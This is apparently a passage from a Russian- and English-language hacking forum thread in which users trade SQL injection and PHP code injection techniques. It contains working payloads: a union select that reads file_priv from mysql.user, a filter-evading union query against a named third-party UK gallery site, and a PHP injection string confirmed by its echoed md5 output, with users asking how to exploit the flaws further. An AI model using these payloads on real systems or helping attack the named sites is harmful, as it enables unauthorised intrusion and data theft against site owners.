И еще извиняюсь за глупый вопрос, но как узнать file_priv и m.q , на форуме как то не нашел, а просматривать почти 2к страниц - смерть. И если узер sa значит ли это что file_priv Y ??

union+select+1,file_priv,3+from+mysql.user+where+u ser=user()

А если стоит mssql ? Там юнион не работает параметр.

Is this site inject able?

http://www.martinzaple.co.uk/gallery.php?id=17

Nothing works on it.

injectable

http://www.martinzaple.co.uk/gallery.php?id=-7+/*!union*/+select+1,(select+schema_name+from+information_sch ema.schemata),3,4,5,6,7--+

there "union" filter

Народ такой вопрос. Есть скуля msql 4.0.24-standart. Не выводит никак database().

делаю concat_ws(0x3a,user(),database(),version()) - вся информация есть кроме имени базы. Такое впечатление что для данного user() не в одну базу нет доступа? Линку скинуть пока не могу но хотелось бы разобраться почему такое получается? Может посоветуете чего? Заранее спасибо.

практически невозможно,

лучше скинь в пм, посмотрю

нашел php injection запрос вот такой

http://сайт/imp_sub.html?_c=${@print(md5(kasper))}&_m=publicat ions&_t=rec&id=1403

в ответ получаю

67cb7dbdb935430911459f5431d61701Method {${@print(md5(kasper))}} in class [$this->rec] does not exists!

Кто подскажет каким методом раскрутить?